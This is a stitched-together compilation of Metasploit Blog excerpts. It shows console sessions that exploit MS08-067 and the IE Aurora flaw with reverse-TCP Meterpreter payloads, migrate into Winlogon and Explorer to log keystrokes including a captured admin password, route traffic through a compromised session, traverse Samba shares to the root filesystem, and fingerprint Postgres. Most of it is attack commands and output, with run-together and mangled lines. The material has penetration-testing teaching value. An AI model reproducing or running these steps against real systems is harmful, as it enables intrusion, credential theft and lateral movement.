resource (documentation/msfconsole_rc_ruby_example.rc)> exploit -j[*] Exploit running as background job.[*] resource (documentation/msfconsole_rc_ruby_example.rc)> Ruby Code (589 bytes)[*] [2010.03.22-09:19:38] Started reverse handler on 192.168.0.118:4444 [*] [2010.03.22-09:19:38] Starting the payload handler...

[*] Waiting on an incoming sessions...[*] [2010.03.22-09:19:40] Sending stage (748032 bytes)[*] Meterpreter session 1 opened (192.168.0.118:4444 -> 192.168.0.218:16660)[*] Session 1 192.168.0.218 active, but not yet configured[*] Screenshotting session 1 192.168.0.218...Screenshot saved to: /home/projects/metasploit/framework3/trunk/192.168.0.218_1.jpg[*] Closing session 1 192.168.0.218...[*] Meterpreter session 1 closed.

Source: Metasploit Blog

While testing the keystroke sniffer, we decided to migrate into the Winlogon.exe process instead. This process should have interactive access to the desktop, however we failed to sniff the active user’s keystrokes in this way. Although Winlogon could not access the logged-on desktop using GetAsyncKeyState, it can capture the username and password of anyone logging into the target’s console. The example below demonstrates this process:

msf exploit(ms08_067_netapi) > exploit
[*] Triggering the vulnerability…
[*] Sending stage (2650 bytes)
[*] Uploading DLL (75787 bytes)…
[*] Upload completed.
[*] Meterpreter session 1 opened

meterpreter > ps

Process list
============

PID Name Path
— —- —-
292 wscntfy.exe C:WINDOWSsystem32wscntfy.exe
316 Explorer.EXE C:WINDOWSExplorer.EXE
356 smss.exe SystemRootSystem32smss.exe
416 csrss.exe ??C:WINDOWSsystem32csrss.exe
440 winlogon.exe ??C:WINDOWSsystem32winlogon.exe
[ snip ]

meterpreter > migrate 440
[*] Migrating to 440…
[*] Migration completed successfully.

meterpreter > keyscan_start
Starting the keystroke sniffer…
[ wait for user login ]

meterpreter > keyscan_dump
Dumping captured keystrokes…
Administrator <Tab> p@ssw0rd <Return>

Source: Metasploit Blog

This works with the help of the keyscan_start command, which spawns a new thread inside of the process where Meterpreter was injected and this thread in turn allocates a large 1Mb buffer to store captured keystrokes. Every 30 ms, this thread calls GetAsyncKeyState, which returns the up/down status of each of the 256 possible Virtual Key Codes. If a key state change is detected and the new state is down, the key, along with the Shift, Control, and Alt flags are stored into the buffer which overwrites the old entries when full.

One limitation of the GetAsyncKeyState function is that it must have access to the active, input desktop in order to monitor the key states, which presents a problem when the target process is running as a service. This sequence has now been implemented as the grabdesktop command, but this is still not sufficient in many cases – for example if the service does not have rights to interact with the desktop, no amount of API jumping allows the GetAsyncKeyState function to receive keystrokes from the user.

Fortunately, Meterpreter supports the migrate command, which allows us to move our running code into a process that does have interactive access to the desktop. In the example below, we will use ms08_067_netapi exploit to obtain a Meterpreter shell on a Windows XP SP2 system, then migrate the running payload into the Explorer.exe process owned by the active user. This allows us to then use the keyscan_start and keyscan_dump commands to log the user’s keystrokes.

$ msfconsole

msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > set RHOST 192.168.0.180
RHOST => 192.168.0.180

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(ms08_067_netapi) > set LHOST 192.168.0.130
LHOST => 192.168.0.130

msf exploit(ms08_067_netapi) > set TARGET 3
TARGET => 3

msf exploit(ms08_067_netapi) > exploit
[*] Triggering the vulnerability…
[*] Sending stage (2650 bytes)
[*] Uploading DLL (75787 bytes)…
[*] Upload completed.
[*] Meterpreter session 1 opened

meterpreter > ps

Process list
============

PID Name Path
— —- —-
292 wscntfy.exe C:WINDOWSsystem32wscntfy.exe
316 Explorer.EXE C:WINDOWSExplorer.EXE
356 smss.exe SystemRootSystem32smss.exe
416 csrss.exe ??C:WINDOWSsystem32csrss.exe
440 winlogon.exe ??C:WINDOWSsystem32winlogon.exe
[ snip ]

meterpreter > migrate 316
[*] Migrating to 316…
[*] Migration completed successfully.

meterpreter > getpid
Current pid: 316

meterpreter > grabdesktop
Trying to hijack the input desktop…

meterpreter > keyscan_start
Starting the keystroke sniffer…

meterpreter > keyscan_dump
Dumping captured keystrokes…

Source: Metasploit Blog

[*] Meterpreter session 1 opened (10.1.1.52:4444 -> 10.1.1.118:1238)

meterpreter > run get_local_subnets Local subnet: 10.1.1.0/255.255.255.0meterpreter > background msf exploit(ms08_067_netapi) > route add 10.1.1.0 255.255.255.0 1msf exploit(ms08_067_netapi) > route print

Active Routing Table====================

   Subnet             Netmask            Gateway   ------             -------            -------   10.1.1.0           255.255.255.0      Session 1

msf exploit(ms08_067_netapi) > 

After running the above commands any traffic sent to the 10.1.1.0 network will be tunnelled through the session. There also is a plugin that automatically adds a route for any previously-unseen subnets when a new session opens up. Here is some example usage and output:

msf exploit(ms08_067_netapi) > load auto_add_route [*] Successfully loaded plugin: auto_add_routemsf exploit(ms08_067_netapi) > exploit 

[*] Started reverse handler on 10.1.1.52:4444 [*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 3 - lang:English[*] Selected Target: Windows XP SP3 English (NX)[*] Triggering the vulnerability...[*] Sending stage (725504 bytes)[*] Meterpreter session 1 opened (10.1.1.52:4444 -> 10.1.1.118:1239)[*] AutoAddRoute: Routing new subnet 10.1.1.0/255.255.255.0 through session 1

meterpreter > background msf exploit(ms08_067_netapi) > route print

Active Routing Table====================

   Subnet             Netmask            Gateway   ------             -------            -------   10.1.1.0           255.255.255.0      Session 1

msf exploit(ms08_067_netapi) > 

The auto_add_route plugin is now available in the metasploit trunk; ‘svn up’ to get it.

Source: Metasploit Blog

A Metasploit auxiliary module has been added to verify and test this vulnerability. Update to SVN revision 8369 or newer and start up the Metasploit Console:

$ msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal

msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.0.34

msf auxiliary(samba_symlink_traversal) > set SMBSHARE shared

msf auxiliary(samba_symlink_traversal) > set SMBTARGET rooted

msf auxiliary(samba_symlink_traversal) > run

[*] Connecting to the server…
[*] Trying to mount writeable share ‘shared’…
[*] Trying to link ‘rooted’ to the root filesystem…
[*] Now access the following share to browse the root filesystem:
[*] \192.168.0.34sharedrooted

Keep in mind that non-anonymous shares can be used as well, just set SMBUser and SMBPass with valid user account credentials.

Source: Metasploit Blog

It appears though, that Postgres is pretty forthcoming in its authentication failure messages. Take this example response to a failed login attempt:

0000   45 00 00 00 61 53 46 41 54 41 4c 00 43 32 38 30  E...aSFATAL.C2800010   30 30 00 4d 70 61 73 73 77 6f 72 64 20 61 75 74  00.Mpassword aut0020   68 65 6e 74 69 63 61 74 69 6f 6e 20 66 61 69 6c  hentication fail0030   65 64 20 66 6f 72 20 75 73 65 72 20 22 70 6f 73  ed for user "pos0040   74 67 72 65 73 22 00 46 61 75 74 68 2e 63 00 4c  tgres".Fauth.c.L0050   32 37 33 00 52 61 75 74 68 5f 66 61 69 6c 65 64  273.Rauth_failed0060   00 00                                            ..

This tells us that an error (E) was encountered related to the source file (F) auth.c, on line (L) 273, in the routine (R) auth_failed. That means we can use this error code as a handy fingerprint for pretty much every minor version release of Postgres: The above comes from version 8.4.2, but on 8.4.1, the line number is 258, it’s 1017 in 8.3.9 and so on. These differences go back at least as far as Postgres 7.4.

The latest version of Metasploit now supports Postgres enumeration using this technique. Check it out with a quick update. The module looks something like this:

msf auxiliary(postgres_version) > set verbose true
verbose => true
msf auxiliary(postgres_version) > run

[*] 192.168.15.55:5432 Postgres – Trying username:’postgres’ with password:’?dsx)S’ against 192.168.15.55:5432 on database ‘template1′
[+] 192.168.15.55:5432 Postgres – Version 8.4.2 (Pre-Auth)
[*] 192.168.15.55:5432 Postgres – Disconnected
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

The Metasploit guys have collected a few signatures so far, so we can reliably identify pretty much all of the straight Linux builds of Postgres from 7.4.26 through 8.4.2, as well as the latest Windows build. In the event you run into a version/platform combination of Postgres that we haven’t accounted for yet, the module will display and log the relevant signature data for an easy copy-paste.

Source: Metasploit Blog

To get started, grab the latest copy of the Metasploit Framework and use the online update feature to sync latest exploits from the development tree. Start the Metasploit Console (msfconsole) and enter the commands in bold:

msf > use exploit/windows/browser/ie_aurora
msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_aurora) > set LHOST (your IP)
msf exploit(ie_aurora) > set URIPATH /
msf exploit(ie_aurora) > exploit

[*] Exploit running as background job.
[*] Started reverse handler on port 4444
[*] Local IP: http://192.168.0.131:8080/
[*] Server started.

msf exploit(ie_aurora) >

Open Internet Explorer on a vulnerable machine (we tested Windows XP SP3 with IE 6) and enter the Local IP URL into the browser. If the exploit succeeds, you should see a new session in the Metasploit Console:

[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.131:4444 -> 192.168.0.126:1514)

msf exploit(ie_aurora) > sessions -i 1
[*] Starting interaction with 1…

meterpreter > getuid
Server username: WINXPDeveloper

meterpreter > use espia
Loading extension espia…success.

meterpreter > shell
Process 892 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:Documents and SettingsDeveloperDesktop>

Source: Metasploit Blog